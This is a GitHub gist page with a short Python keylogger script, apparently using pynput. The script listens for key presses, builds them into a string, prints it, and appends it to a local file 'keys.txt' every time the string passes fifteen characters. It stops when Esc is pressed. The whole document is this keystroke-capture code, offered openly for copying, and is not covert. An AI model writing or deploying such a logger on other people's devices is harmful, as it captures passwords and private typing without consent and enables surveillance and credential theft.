Created
September 28, 2020 17:14
-
-
Save Abhayparashar31/b53395a58fe993d0daab5bb4e7291de9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
keys=[] | |
def on_press(key): | |
global keys | |
#keys.append(str(key).replace("'","")) | |
string = str(key).replace("'","") | |
keys.append(string) | |
main_string = "".join(keys) | |
print(main_string) | |
if len(main_string)>15: | |
with open('keys.txt', 'a') as f: | |
f.write(main_string) | |
keys= [] | |
def on_release(key): | |
if key == Key.esc: | |
return False | |
with Listener(on_press=on_press,on_release=on_release) as listener: | |
listener.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment